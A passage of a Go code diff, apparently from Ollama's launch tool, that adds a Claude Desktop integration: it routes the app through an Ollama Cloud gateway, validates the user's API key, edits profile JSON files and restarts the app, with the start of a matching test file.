+	claudeDesktopOpenApp        = defaultClaudeDesktopOpenApp
+	claudeDesktopOpenAppPath    = defaultClaudeDesktopOpenAppPath
+	claudeDesktopQuitApp        = defaultClaudeDesktopQuitApp
+	claudeDesktopIsRunning      = defaultClaudeDesktopIsRunning
+	claudeDesktopRunningAppPath = defaultClaudeDesktopRunningAppPath
+	claudeDesktopGlob           = filepath.Glob
+	claudeDesktopSleep          = time.Sleep
+	claudeDesktopHTTPClient     = http.DefaultClient
+	claudeDesktopPromptAPIKey   = promptClaudeDesktopAPIKey
+	claudeDesktopValidateAPIKey = validateClaudeDesktopAPIKey
+)
+
+// ClaudeDesktop configures and launches Claude Desktop in third-party
+// inference mode using Ollama Cloud as the gateway.
+type ClaudeDesktop struct{}
+
+func (c *ClaudeDesktop) String() string { return "Claude Desktop" }
+
+func (c *ClaudeDesktop) Supported() error { return claudeDesktopSupported() }
+
+func (c *ClaudeDesktop) Paths() []string {
+	return nil
+}
+
+func (c *ClaudeDesktop) AutodiscoveredModel() string {
+	return claudeDesktopModelLabel
+}
+
+func (c *ClaudeDesktop) ConfigureAutodiscovery() error {
+	if err := claudeDesktopSupported(); err != nil {
+		return err
+	}
+
+	targets, err := claudeDesktopTargetPaths()
+	if err != nil {
+		return err
+	}
+
+	key, err := claudeDesktopValidatedAPIKey(context.Background(), claudeDesktopTargetProfilePaths(targets))
+	if err != nil {
+		return err
+	}
+
+	for _, path := range targets.normalConfigs {
+		if err := writeClaudeDesktopDeploymentMode(path, "3p"); err != nil {
+			return err
+		}
+	}
+	for _, target := range targets.thirdPartyProfiles {
+		if err := writeClaudeDesktopDeploymentMode(target.desktopConfig, "3p"); err != nil {
+			return err
+		}
+		if err := writeClaudeDesktopMeta(target.meta, claudeDesktopProfileID, claudeDesktopProfileName); err != nil {
+			return err
+		}
+		if err := writeClaudeDesktopGatewayProfile(target.profile, key, true); err != nil {
+			return err
+		}
+	}
+	return nil
+}
+
+func (c *ClaudeDesktop) RestoreHint() string {
+	return claudeDesktopRestoreMessage
+}
+
+func (c *ClaudeDesktop) ConfigurationSuccessMessage() string {
+	return claudeDesktopSuccessMessage + "\n" + claudeDesktopRestoreMessage
+}
+
+func (c *ClaudeDesktop) RestoreSuccessMessage() string {
+	return claudeDesktopRestoredMessage
+}
+
+func (c *ClaudeDesktop) AutodiscoveryConfigured() bool {
+	targets, err := claudeDesktopTargetPaths()
+	if err != nil {
+		return false
+	}
+	return claudeDesktopTargetsConfigured(targets)
+}
+
+func (c *ClaudeDesktop) Onboard() error {
+	return config.MarkIntegrationOnboarded(claudeDesktopIntegrationName)
+}
+
+func (c *ClaudeDesktop) RequiresInteractiveOnboarding() bool {
+	return false
+}
+
+func (c *ClaudeDesktop) SkipModelReadiness() bool {
+	return true
+}
+
+func (c *ClaudeDesktop) Run(_ string, _ []LaunchModel, _ []string) error {
+	return errClaudeDesktopUnsupported()
+}
+
+func (c *ClaudeDesktop) Restore() error {
+	if err := claudeDesktopSupported(); err != nil {
+		return err
+	}
+	targets, err := claudeDesktopTargetPaths()
+	if err != nil {
+		return err
+	}
+
+	for _, path := range targets.normalConfigs {
+		if err := writeClaudeDesktopDeploymentMode(path, "1p"); err != nil {
+			return err
+		}
+	}
+	for _, target := range targets.thirdPartyProfiles {
+		if err := writeClaudeDesktopDeploymentMode(target.desktopConfig, "1p"); err != nil {
+			return err
+		}
+		if err := restoreClaudeDesktopMeta(target.meta); err != nil {
+			return err
+		}
+		if err := restoreClaudeDesktopOllamaProfile(target.profile); err != nil {
+			return err
+		}
+	}
+	return claudeDesktopLaunchOrRestart("Restart Claude Desktop to use the usual Claude profile?")
+}
+
+func errClaudeDesktopUnsupported() error {
+	return errors.New(claudeDesktopUnsupported)
+}
+
+func claudeDesktopSupported() error {
+	switch claudeDesktopGOOS {
+	case "darwin", "windows":
+		return nil
+	default:
+		return fmt.Errorf("Claude Desktop launch is only supported on macOS and Windows")
+	}
+}
+
+func claudeDesktopInstalled() bool {
+	if claudeDesktopAppPath() != "" {
+		return true
+	}
+	if claudeDesktopGOOS == "windows" && claudeDesktopIsRunning() {
+		return true
+	}
+	for _, dir := range claudeDesktopProfileDirCandidates(false) {
+		if _, err := claudeDesktopStat(dir); err == nil {
+			return true
+		}
+	}
+	return false
+}
+
+func claudeDesktopAppPath() string {
+	if claudeDesktopGOOS != "darwin" && claudeDesktopGOOS != "windows" {
+		return ""
+	}
+	for _, path := range claudeDesktopAppCandidates() {
+		if _, err := claudeDesktopStat(path); err == nil {
+			return path
+		}
+	}
+	return ""
+}
+
+func claudeDesktopAppCandidates() []string {
+	switch claudeDesktopGOOS {
+	case "darwin":
+		return claudeDesktopDarwinAppCandidates()
+	case "windows":
+		return claudeDesktopWindowsAppCandidates()
+	default:
+		return nil
+	}
+}
+
+func claudeDesktopDarwinAppCandidates() []string {
+	candidates := []string{"/Applications/Claude.app"}
+	if home, err := claudeDesktopUserHome(); err == nil {
+		candidates = append(candidates, filepath.Join(home, "Applications", "Claude.app"))
+	}
+	return candidates
+}
+
+func claudeDesktopWindowsAppCandidates() []string {
+	local, err := claudeDesktopLocalAppData()
+	if err != nil {
+		return nil
+	}
+
+	candidates := []string{
+		filepath.Join(local, "Programs", "Claude", "Claude.exe"),
+		filepath.Join(local, "Programs", "Claude Desktop", "Claude.exe"),
+		filepath.Join(local, "Claude", "Claude.exe"),
+		filepath.Join(local, "Claude Nest", "Claude.exe"),
+		filepath.Join(local, "Claude Desktop", "Claude.exe"),
+		filepath.Join(local, "AnthropicClaude", "Claude.exe"),
+	}
+	for _, pattern := range []string{
+		filepath.Join(local, "AnthropicClaude", "app-*", "Claude.exe"),
+		filepath.Join(local, "Programs", "Claude", "app-*", "Claude.exe"),
+		filepath.Join(local, "Programs", "Claude Desktop", "app-*", "Claude.exe"),
+	} {
+		matches, _ := claudeDesktopGlob(pattern)
+		candidates = append(candidates, matches...)
+	}
+	return claudeDesktopDedupePaths(candidates)
+}
+
+func claudeDesktopDedupePaths(paths []string) []string {
+	out := make([]string, 0, len(paths))
+	seen := make(map[string]bool, len(paths))
+	for _, path := range paths {
+		if strings.TrimSpace(path) == "" {
+			continue
+		}
+		key := strings.ToLower(path)
+		if seen[key] {
+			continue
+		}
+		seen[key] = true
+		out = append(out, path)
+	}
+	return out
+}
+
+type claudeDesktopPaths struct {
+	normalConfig  string
+	desktopConfig string
+	meta          string
+	profile       string
+}
+
+type claudeDesktopThirdPartyPaths struct {
+	desktopConfig string
+	meta          string
+	profile       string
+}
+
+type claudeDesktopTargets struct {
+	normalConfigs      []string
+	thirdPartyProfiles []claudeDesktopThirdPartyPaths
+}
+
+func claudeDesktopConfigPaths() (claudeDesktopPaths, error) {
+	switch claudeDesktopGOOS {
+	case "darwin":
+		return claudeDesktopDarwinConfigPaths()
+	case "windows":
+		return claudeDesktopWindowsConfigPaths()
+	default:
+		return claudeDesktopPaths{}, claudeDesktopSupported()
+	}
+}
+
+func claudeDesktopDarwinConfigPaths() (claudeDesktopPaths, error) {
+	normalRoots, thirdPartyRoots, err := claudeDesktopDarwinProfileRoots()
+	if err != nil {
+		return claudeDesktopPaths{}, err
+	}
+	normalBase := normalRoots[0]
+	thirdPartyBase := thirdPartyRoots[0]
+	return claudeDesktopPaths{
+		normalConfig:  filepath.Join(normalBase, "claude_desktop_config.json"),
+		desktopConfig: filepath.Join(thirdPartyBase, "claude_desktop_config.json"),
+		meta:          filepath.Join(thirdPartyBase, "configLibrary", "_meta.json"),
+		profile:       filepath.Join(thirdPartyBase, "configLibrary", claudeDesktopProfileID+".json"),
+	}, nil
+}
+
+func claudeDesktopWindowsConfigPaths() (claudeDesktopPaths, error) {
+	normalBase, err := claudeDesktopProfileDir(true)
+	if err != nil {
+		return claudeDesktopPaths{}, err
+	}
+	thirdPartyBase, err := claudeDesktopProfileDir(false)
+	if err != nil {
+		return claudeDesktopPaths{}, err
+	}
+	return claudeDesktopPaths{
+		normalConfig:  filepath.Join(normalBase, "claude_desktop_config.json"),
+		desktopConfig: filepath.Join(thirdPartyBase, "claude_desktop_config.json"),
+		meta:          filepath.Join(thirdPartyBase, "configLibrary", "_meta.json"),
+		profile:       filepath.Join(thirdPartyBase, "configLibrary", claudeDesktopProfileID+".json"),
+	}, nil
+}
+
+func claudeDesktopProfileDir(normal bool) (string, error) {
+	candidates := claudeDesktopProfileDirCandidates(normal)
+	if len(candidates) == 0 {
+		return "", fmt.Errorf("Claude Desktop profile directory could not be resolved")
+	}
+	for _, candidate := range candidates {
+		if _, err := claudeDesktopStat(candidate); err == nil {
+			return candidate, nil
+		}
+	}
+	return candidates[0], nil
+}
+
+func claudeDesktopProfileDirCandidates(normal bool) []string {
+	if claudeDesktopGOOS != "windows" {
+		return nil
+	}
+	normalRoots, thirdPartyRoots, err := claudeDesktopWindowsProfileRoots()
+	if err != nil {
+		return nil
+	}
+	if normal {
+		return normalRoots
+	}
+	return thirdPartyRoots
+}
+
+func claudeDesktopDarwinProfileRoots() ([]string, []string, error) {
+	home, err := claudeDesktopUserHome()
+	if err != nil {
+		return nil, nil, err
+	}
+	base := filepath.Join(home, "Library", "Application Support")
+	return []string{filepath.Join(base, "Claude")}, []string{filepath.Join(base, "Claude-3p")}, nil
+}
+
+func claudeDesktopWindowsProfileRoots() ([]string, []string, error) {
+	local, err := claudeDesktopLocalAppData()
+	if err != nil {
+		return nil, nil, err
+	}
+	normalRoots := []string{
+		filepath.Join(local, "Claude"),
+		filepath.Join(local, "Claude Nest"),
+	}
+	thirdPartyRoots := []string{
+		filepath.Join(local, "Claude-3p"),
+		filepath.Join(local, "Claude Nest-3p"),
+	}
+	return normalRoots, thirdPartyRoots, nil
+}
+
+func claudeDesktopTargetPaths() (claudeDesktopTargets, error) {
+	var (
+		normalRoots     []string
+		thirdPartyRoots []string
+		err             error
+	)
+
+	switch claudeDesktopGOOS {
+	case "darwin":
+		normalRoots, thirdPartyRoots, err = claudeDesktopDarwinProfileRoots()
+	case "windows":
+		normalRoots, thirdPartyRoots, err = claudeDesktopWindowsProfileRoots()
+	default:
+		err = claudeDesktopSupported()
+	}
+	if err != nil {
+		return claudeDesktopTargets{}, err
+	}
+
+	return newClaudeDesktopTargets(normalRoots, thirdPartyRoots), nil
+}
+
+func newClaudeDesktopTargets(normalRoots, thirdPartyRoots []string) claudeDesktopTargets {
+	targets := claudeDesktopTargets{}
+	for _, root := range claudeDesktopDedupePaths(normalRoots) {
+		targets.normalConfigs = append(targets.normalConfigs, filepath.Join(root, "claude_desktop_config.json"))
+	}
+	for _, root := range claudeDesktopDedupePaths(thirdPartyRoots) {
+		targets.thirdPartyProfiles = append(targets.thirdPartyProfiles, claudeDesktopThirdPartyPaths{
+			desktopConfig: filepath.Join(root, "claude_desktop_config.json"),
+			meta:          filepath.Join(root, "configLibrary", "_meta.json"),
+			profile:       filepath.Join(root, "configLibrary", claudeDesktopProfileID+".json"),
+		})
+	}
+	return targets
+}
+
+func claudeDesktopTargetProfilePaths(targets claudeDesktopTargets) []string {
+	paths := make([]string, 0, len(targets.thirdPartyProfiles))
+	for _, target := range targets.thirdPartyProfiles {
+		paths = append(paths, target.profile)
+	}
+	return paths
+}
+
+func claudeDesktopLocalAppData() (string, error) {
+	if local := strings.TrimSpace(os.Getenv("LOCALAPPDATA")); local != "" {
+		return local, nil
+	}
+	if home := strings.TrimSpace(os.Getenv("USERPROFILE")); home != "" {
+		return filepath.Join(home, "AppData", "Local"), nil
+	}
+	home, err := claudeDesktopUserHome()
+	if err != nil {
+		return "", err
+	}
+	return filepath.Join(home, "AppData", "Local"), nil
+}
+
+type claudeDesktopAPIKeySource int
+
+const (
+	claudeDesktopAPIKeySourceNone claudeDesktopAPIKeySource = iota
+	claudeDesktopAPIKeySourceEnv
+	claudeDesktopAPIKeySourceProfile
+)
+
+func claudeDesktopValidatedAPIKey(ctx context.Context, profilePaths []string) (string, error) {
+	key, source, err := claudeDesktopAPIKey(profilePaths)
+	if err != nil {
+		return "", err
+	}
+	if err := claudeDesktopValidateAPIKey(ctx, key); err == nil {
+		return key, nil
+	} else if source != claudeDesktopAPIKeySourceProfile || !canPromptClaudeDesktopAPIKey() {
+		return "", err
+	}
+	return promptValidClaudeDesktopAPIKey(ctx)
+}
+
+func claudeDesktopAPIKey(profilePaths []string) (string, claudeDesktopAPIKeySource, error) {
+	if key := strings.TrimSpace(os.Getenv("OLLAMA_API_KEY")); key != "" {
+		return key, claudeDesktopAPIKeySourceEnv, nil
+	}
+	for _, profilePath := range profilePaths {
+		if key := readClaudeDesktopGatewayAPIKey(profilePath); key != "" {
+			return key, claudeDesktopAPIKeySourceProfile, nil
+		}
+	}
+	key, err := promptClaudeDesktopAPIKeyValue()
+	return key, claudeDesktopAPIKeySourceNone, err
+}
+
+func canPromptClaudeDesktopAPIKey() bool {
+	return isInteractiveSession() && !currentLaunchConfirmPolicy.requireYesMessage
+}
+
+func promptValidClaudeDesktopAPIKey(ctx context.Context) (string, error) {
+	key, err := promptClaudeDesktopAPIKeyValue()
+	if err != nil {
+		return "", err
+	}
+	if err := claudeDesktopValidateAPIKey(ctx, key); err != nil {
+		return "", err
+	}
+	return key, nil
+}
+
+func promptClaudeDesktopAPIKeyValue() (string, error) {
+	if !canPromptClaudeDesktopAPIKey() {
+		return "", missingClaudeDesktopAPIKeyError()
+	}
+	key, err := claudeDesktopPromptAPIKey()
+	if err != nil {
+		return "", err
+	}
+	key = strings.TrimSpace(key)
+	if key == "" {
+		return "", missingClaudeDesktopAPIKeyError()
+	}
+	return key, nil
+}
+
+func missingClaudeDesktopAPIKeyError() error {
+	return fmt.Errorf("OLLAMA_API_KEY is required for Claude Desktop. Create an API key at %s, then re-run with OLLAMA_API_KEY set", claudeDesktopAPIKeyURL)
+}
+
+func promptClaudeDesktopAPIKey() (string, error) {
+	fmt.Fprint(os.Stderr, claudeDesktopAPIKeyPrompt())
+	key, err := term.ReadPassword(int(os.Stdin.Fd()))
+	fmt.Fprintln(os.Stderr)
+	if err != nil {
+		return "", err
+	}
+	return string(key), nil
+}
+
+func claudeDesktopAPIKeyPrompt() string {
+	return fmt.Sprintf("Create an Ollama API key at %s\nEnter Ollama API key (input hidden): ", claudeDesktopAPIKeyURL)
+}
+
+func readClaudeDesktopGatewayAPIKey(path string) string {
+	cfg, err := readClaudeDesktopJSON(path)
+	if err != nil {
+		return ""
+	}
+	key, _ := cfg["inferenceGatewayApiKey"].(string)
+	return strings.TrimSpace(key)
+}
+
+func validateClaudeDesktopAPIKey(ctx context.Context, key string) error {
+	ctx, cancel := context.WithTimeout(ctx, 15*time.Second)
+	defer cancel()
+
+	if claudeDesktopAPIKeyHasInvalidHeaderChars(key) {
+		return claudeDesktopAPIKeyVerificationError()
+	}
+
+	req, err := http.NewRequestWithContext(ctx, http.MethodGet, claudeDesktopGatewayBaseURL+"/v1/models", nil)
+	if err != nil {
+		return claudeDesktopAPIKeyVerificationError()
+	}
+	req.Header.Set("Authorization", "Bearer "+key)
+	req.Header.Set("Accept", "application/json")
+
+	resp, err := claudeDesktopHTTPClient.Do(req)
+	if err != nil {
+		return claudeDesktopAPIKeyVerificationError()
+	}
+	defer resp.Body.Close()
+	_, _ = io.Copy(io.Discard, io.LimitReader(resp.Body, 4<<10))
+
+	switch {
+	case resp.StatusCode == http.StatusUnauthorized || resp.StatusCode == http.StatusForbidden:
+		return fmt.Errorf("Ollama API key was rejected; create a valid key at %s", claudeDesktopAPIKeyURL)
+	case resp.StatusCode >= 200 && resp.StatusCode < 300:
+		return nil
+	default:
+		return fmt.Errorf("could not verify Ollama API key; ollama.com returned status %d, try again later", resp.StatusCode)
+	}
+}
+
+func claudeDesktopAPIKeyHasInvalidHeaderChars(key string) bool {
+	return strings.ContainsFunc(key, func(r rune) bool {
+		return r < ' ' || r == 0x7f
+	})
+}
+
+func claudeDesktopAPIKeyVerificationError() error {
+	return fmt.Errorf("could not verify Ollama API key; copy a key from %s and try again", claudeDesktopAPIKeyURL)
+}
+
+func writeClaudeDesktopDeploymentMode(path, mode string) error {
+	cfg, err := readClaudeDesktopJSONAllowMissing(path)
+	if err != nil {
+		return fmt.Errorf("parse Claude Desktop config: %w", err)
+	}
+	cfg["deploymentMode"] = mode
+	return writeClaudeDesktopJSON(path, cfg)
+}
+
+func writeClaudeDesktopMeta(path, id, name string) error {
+	meta, err := readClaudeDesktopJSONAllowMissing(path)
+	if err != nil {
+		return fmt.Errorf("parse Claude Desktop config metadata: %w", err)
+	}
+
+	meta["appliedId"] = id
+	entries := make([]any, 0)
+	for _, entry := range claudeDesktopAnySlice(meta["entries"]) {
+		entryMap, _ := entry.(map[string]any)
+		if entryMap == nil {
+			entries = append(entries, entry)
+			continue
+		}
+		if entryID, _ := entryMap["id"].(string); entryID == id {
+			continue
+		}
+		entries = append(entries, entryMap)
+	}
+	entries = append(entries, map[string]any{
+		"id":   id,
+		"name": name,
+	})
+	meta["entries"] = entries
+	return writeClaudeDesktopJSON(path, meta)
+}
+
+func writeClaudeDesktopGatewayProfile(path string, apiKey string, forceChooser bool) error {
+	cfg, err := readClaudeDesktopJSONAllowMissing(path)
+	if err != nil {
+		return fmt.Errorf("parse Claude Desktop Ollama profile: %w", err)
+	}
+	cfg["inferenceProvider"] = "gateway"
+	cfg["inferenceGatewayBaseUrl"] = claudeDesktopGatewayBaseURL
+	cfg["inferenceGatewayApiKey"] = apiKey
+	cfg["inferenceGatewayAuthScheme"] = "bearer"
+	delete(cfg, "inferenceModels")
+	cfg["disableDeploymentModeChooser"] = forceChooser
+	return writeClaudeDesktopJSON(path, cfg)
+}
+
+func restoreClaudeDesktopMeta(path string) error {
+	meta, err := readClaudeDesktopJSONAllowMissing(path)
+	if err != nil {
+		return fmt.Errorf("parse Claude Desktop config metadata: %w", err)
+	}
+	if len(meta) == 0 {
+		return nil
+	}
+
+	changed := false
+	if appliedID, _ := meta["appliedId"].(string); appliedID == claudeDesktopProfileID {
+		delete(meta, "appliedId")
+		changed = true
+	}
+
+	entries := claudeDesktopAnySlice(meta["entries"])
+	if entries != nil {
+		filtered := make([]any, 0, len(entries))
+		for _, entry := range entries {
+			entryMap, _ := entry.(map[string]any)
+			if entryID, _ := entryMap["id"].(string); entryID == claudeDesktopProfileID {
+				changed = true
+				continue
+			}
+			filtered = append(filtered, entry)
+		}
+		meta["entries"] = filtered
+	}
+
+	if !changed {
+		return nil
+	}
+	return writeClaudeDesktopJSON(path, meta)
+}
+
+func restoreClaudeDesktopOllamaProfile(path string) error {
+	cfg, err := readClaudeDesktopJSONAllowMissing(path)
+	if err != nil {
+		return fmt.Errorf("parse Claude Desktop Ollama profile: %w", err)
+	}
+	if len(cfg) == 0 {
+		return nil
+	}
+	cfg["disableDeploymentModeChooser"] = false
+	delete(cfg, "inferenceProvider")
+	delete(cfg, "inferenceGatewayBaseUrl")
+	delete(cfg, "inferenceGatewayAuthScheme")
+	delete(cfg, "inferenceModels")
+	return writeClaudeDesktopJSON(path, cfg)
+}
+
+func readClaudeDesktopAppliedID(path string) string {
+	meta, err := readClaudeDesktopJSON(path)
+	if err != nil {
+		return ""
+	}
+	applied, _ := meta["appliedId"].(string)
+	return applied
+}
+
+func readClaudeDesktopDeploymentMode(path string) string {
+	cfg, err := readClaudeDesktopJSON(path)
+	if err != nil {
+		return ""
+	}
+	mode, _ := cfg["deploymentMode"].(string)
+	return mode
+}
+
+func claudeDesktopTargetsConfigured(targets claudeDesktopTargets) bool {
+	if len(targets.normalConfigs) == 0 || len(targets.thirdPartyProfiles) == 0 {
+		return false
+	}
+	for _, path := range targets.normalConfigs {
+		if readClaudeDesktopDeploymentMode(path) != "3p" {
+			return false
+		}
+	}
+	for _, target := range targets.thirdPartyProfiles {
+		if readClaudeDesktopDeploymentMode(target.desktopConfig) != "3p" {
+			return false
+		}
+		if !claudeDesktopThirdPartyProfileConfigured(target) {
+			return false
+		}
+	}
+	return true
+}
+
+func claudeDesktopThirdPartyProfileConfigured(target claudeDesktopThirdPartyPaths) bool {
+	if readClaudeDesktopAppliedID(target.meta) != claudeDesktopProfileID {
+		return false
+	}
+
+	cfg, err := readClaudeDesktopJSON(target.profile)
+	if err != nil {
+		return false
+	}
+	if s, _ := cfg["inferenceProvider"].(string); s != "gateway" {
+		return false
+	}
+	if s, _ := cfg["inferenceGatewayBaseUrl"].(string); strings.TrimRight(s, "/") != claudeDesktopGatewayBaseURL {
+		return false
+	}
+	if s, _ := cfg["inferenceGatewayApiKey"].(string); strings.TrimSpace(s) == "" {
+		return false
+	}
+	return true
+}
+
+func readClaudeDesktopJSONAllowMissing(path string) (map[string]any, error) {
+	cfg, err := readClaudeDesktopJSON(path)
+	if errors.Is(err, os.ErrNotExist) {
+		return map[string]any{}, nil
+	}
+	return cfg, err
+}
+
+func readClaudeDesktopJSON(path string) (map[string]any, error) {
+	data, err := os.ReadFile(path)
+	if err != nil {
+		return nil, err
+	}
+	var cfg map[string]any
+	if err := json.Unmarshal(data, &cfg); err != nil {
+		return nil, err
+	}
+	if cfg == nil {
+		cfg = map[string]any{}
+	}
+	return cfg, nil
+}
+
+func writeClaudeDesktopJSON(path string, cfg any) error {
+	data, err := json.MarshalIndent(cfg, "", "  ")
+	if err != nil {
+		return err
+	}
+	data = append(data, '\n')
+	if err := os.MkdirAll(filepath.Dir(path), 0o755); err != nil {
+		return err
+	}
+	return fileutil.WriteWithBackup(path, data)
+}
+
+func claudeDesktopAnySlice(value any) []any {
+	switch v := value.(type) {
+	case []any:
+		return v
+	case nil:
+		return nil
+	default:
+		return nil
+	}
+}
+
+func claudeDesktopLaunchOrRestart(prompt string) error {
+	if !claudeDesktopIsRunning() {
+		return claudeDesktopOpenApp()
+	}
+	restartAppPath := ""
+	if claudeDesktopGOOS == "windows" {
+		restartAppPath = claudeDesktopRunningAppPath()
+	}
+
+	restart, err := ConfirmPrompt(prompt)
+	if err != nil {
+		return err
+	}
+	if !restart {
+		fmt.Fprintln(os.Stderr, "\nQuit and reopen Claude Desktop when you're ready for the profile change to take effect.")
+		return nil
+	}
+
+	if err := claudeDesktopQuitApp(); err != nil {
+		return fmt.Errorf("quit Claude Desktop: %w", err)
+	}
+	if err := waitForClaudeDesktopExit(30 * time.Second); err != nil {
+		return err
+	}
+	if restartAppPath != "" {
+		return claudeDesktopOpenAppPath(restartAppPath)
+	}
+	return claudeDesktopOpenApp()
+}
+
+func waitForClaudeDesktopExit(timeout time.Duration) error {
+	deadline := time.Now().Add(timeout)
+	for time.Now().Before(deadline) {
+		if !claudeDesktopIsRunning() {
+			return nil
+		}
+		claudeDesktopSleep(200 * time.Millisecond)
+	}
+	return fmt.Errorf("Claude Desktop did not quit; quit it manually and re-run the command")
+}
+
+func defaultClaudeDesktopIsRunning() bool {
+	switch claudeDesktopGOOS {
+	case "darwin":
+		out, err := exec.Command("pgrep", "-f", "Claude.app/Contents/MacOS/Claude").Output()
+		return err == nil && strings.TrimSpace(string(out)) != ""
+	case "windows":
+		out, err := exec.Command("powershell.exe", "-NoProfile", "-Command", `(Get-Process claude -ErrorAction SilentlyContinue | Where-Object { $_.MainWindowHandle -ne 0 } | Select-Object -First 1).Id`).Output()
+		return err == nil && strings.TrimSpace(string(out)) != ""
+	default:
+		return false
+	}
+}
+
+func defaultClaudeDesktopOpenApp() error {
+	switch claudeDesktopGOOS {
+	case "windows":
+		if path := claudeDesktopAppPath(); path != "" {
+			return claudeDesktopOpenAppPath(path)
+		}
+		if path := claudeDesktopRunningAppPath(); path != "" {
+			return claudeDesktopOpenAppPath(path)
+		}
+		return fmt.Errorf("Claude Desktop executable was not found; open Claude Desktop manually once and re-run 'ollama launch claude-desktop --restore'")
+	case "darwin":
+		return openClaudeDesktopDarwin()
+	default:
+		return claudeDesktopSupported()
+	}
+}
+
+func defaultClaudeDesktopOpenAppPath(path string) error {
+	switch claudeDesktopGOOS {
+	case "windows":
+		return exec.Command("powershell.exe", "-NoProfile", "-Command", "Start-Process -FilePath "+quotePowerShellString(path)).Run()
+	case "darwin":
+		return openClaudeDesktopDarwin()
+	default:
+		return claudeDesktopSupported()
+	}
+}
+
+func openClaudeDesktopDarwin() error {
+	cmd := exec.Command("open", "-a", "Claude")
+	cmd.Stdout = os.Stdout
+	cmd.Stderr = os.Stderr
+	return cmd.Run()
+}
+
+func defaultClaudeDesktopRunningAppPath() string {
+	if claudeDesktopGOOS != "windows" {
+		return ""
+	}
+	script := `(Get-Process claude -ErrorAction SilentlyContinue | Where-Object { $_.MainWindowHandle -ne 0 -and $_.Path } | Select-Object -First 1 -ExpandProperty Path)`
+	out, err := exec.Command("powershell.exe", "-NoProfile", "-Command", script).Output()
+	if err != nil {
+		return ""
+	}
+	return strings.TrimSpace(string(out))
+}
+
+func defaultClaudeDesktopQuitApp() error {
+	if claudeDesktopGOOS == "windows" {
+		script := `Get-Process claude -ErrorAction SilentlyContinue | Where-Object { $_.MainWindowHandle -ne 0 } | ForEach-Object { [void]$_.CloseMainWindow() }`
+		return exec.Command("powershell.exe", "-NoProfile", "-Command", script).Run()
+	}
+	return exec.Command("osascript", "-e", `tell application "Claude" to quit`).Run()
+}
+
+func quotePowerShellString(s string) string {
+	return "'" + strings.ReplaceAll(s, "'", "''") + "'"
+}

cmd/launch/claude_desktop_test.go

@@ -0,0 +1,946 @@
+package launch
+
+import (
+	"context"
+	"encoding/json"
+	"errors"
+	"io"
+	"net/http"
+	"os"
+	"path/filepath"
+	"strings"
+	"testing"
+	"time"
+)
+
+type roundTripFunc func(*http.Request) (*http.Response, error)
+
+func (f roundTripFunc) RoundTrip(req *http.Request) (*http.Response, error) {
+	return f(req)
+}
+
+func withClaudeDesktopPlatform(t *testing.T, goos string) {
+	t.Helper()
+	old := claudeDesktopGOOS
+	claudeDesktopGOOS = goos
+	t.Cleanup(func() {
+		claudeDesktopGOOS = old
+	})
+}
+
+func withClaudeDesktopValidation(t *testing.T, fn func(context.Context, string) error) {
+	t.Helper()
+	old := claudeDesktopValidateAPIKey
+	claudeDesktopValidateAPIKey = fn
+	t.Cleanup(func() {
+		claudeDesktopValidateAPIKey = old
+	})
+}
+
+func withClaudeDesktopPrompt(t *testing.T, fn func() (string, error)) {
+	t.Helper()
+	old := claudeDesktopPromptAPIKey
+	claudeDesktopPromptAPIKey = fn
+	t.Cleanup(func() {
+		claudeDesktopPromptAPIKey = old
+	})
+}
+
+func withClaudeDesktopProcessHooks(t *testing.T, running func() bool, quit func() error, open func() error) {
+	t.Helper()
+	oldRunning := claudeDesktopIsRunning
+	oldQuit := claudeDesktopQuitApp
+	oldOpen := claudeDesktopOpenApp
+	oldOpenPath := claudeDesktopOpenAppPath
+	oldRunningPath := claudeDesktopRunningAppPath
+	oldSleep := claudeDesktopSleep
+	claudeDesktopIsRunning = running
+	claudeDesktopQuitApp = quit
+	claudeDesktopOpenApp = open
+	claudeDesktopOpenAppPath = oldOpenPath
+	claudeDesktopRunningAppPath = oldRunningPath
+	claudeDesktopSleep = func(time.Duration) {}
+	t.Cleanup(func() {
+		claudeDesktopIsRunning = oldRunning
+		claudeDesktopQuitApp = oldQuit
+		claudeDesktopOpenApp = oldOpen
+		claudeDesktopOpenAppPath = oldOpenPath
+		claudeDesktopRunningAppPath = oldRunningPath
+		claudeDesktopSleep = oldSleep
+	})
+}
+
+func claudeDesktopReadJSON(t *testing.T, path string) map[string]any {
+	t.Helper()
+	data, err := os.ReadFile(path)
+	if err != nil {
+		t.Fatalf("read %s: %v", path, err)
+	}
+	var cfg map[string]any
+	if err := json.Unmarshal(data, &cfg); err != nil {
+		t.Fatalf("parse %s: %v", path, err)
+	}
+	return cfg
+}
+
+func TestClaudeDesktopIntegration(t *testing.T) {
+	c := &ClaudeDesktop{}
+
+	t.Run("implements Runner", func(t *testing.T) {
+		var _ Runner = c
+	})
+	t.Run("implements managed autodiscovery integration", func(t *testing.T) {
+		var _ ManagedAutodiscoveryIntegration = c
+	})
+	t.Run("does not use local Ollama Cloud auth gate", func(t *testing.T) {
+		if _, ok := any(c).(ManagedAutodiscoveryCloudIntegration); ok {
+			t.Fatal("Claude Desktop should validate OLLAMA_API_KEY directly instead of requiring local Ollama Cloud sign-in")
+		}
+	})
+	t.Run("implements restore", func(t *testing.T) {
+		var _ RestorableIntegration = c
+	})
+	t.Run("has restore hint", func(t *testing.T) {
+		var _ RestoreHintIntegration = c
+		if !strings.Contains(c.RestoreHint(), "--restore") {
+			t.Fatalf("expected restore hint to mention --restore, got %q", c.RestoreHint())
+		}
+		if strings.Contains(c.RestoreHint(), "Tip:") {
+			t.Fatalf("restore hint should not use Tip wording, got %q", c.RestoreHint())
+		}
+	})
+	t.Run("has success messages", func(t *testing.T) {
+		var _ ConfigurationSuccessIntegration = c
+		var _ RestoreSuccessIntegration = c
+		if got := c.ConfigurationSuccessMessage(); got != "Claude Desktop profile changed to Ollama Cloud.\nTo restore the usual Claude profile, run: ollama launch claude-desktop --restore" {
+			t.Fatalf("configuration success message = %q", got)
+		}
+		if got := c.RestoreSuccessMessage(); got != "Claude Desktop restored to the usual Claude profile." {
+			t.Fatalf("restore success message = %q", got)
+		}
+	})
+	t.Run("skips local model readiness", func(t *testing.T) {
+		var _ ManagedModelReadinessSkipper = c
+		if !c.SkipModelReadiness() {
+			t.Fatal("expected Claude Desktop to skip local model readiness")
+		}
+	})
+}
+
+func TestLaunchIntegration_ClaudeDesktopLaunchReturnsUnsupported(t *testing.T) {
+	for _, name := range []string{"claude-desktop", "claude-app"} {
+		t.Run(name, func(t *testing.T) {
+			err := LaunchIntegration(context.Background(), IntegrationLaunchRequest{Name: name})
+			if err == nil {
+				t.Fatal("expected Claude Desktop launch to fail")
+			}
+			if !strings.Contains(err.Error(), "Claude Desktop is no longer supported") {
+				t.Fatalf("expected unsupported guidance, got %v", err)
+			}
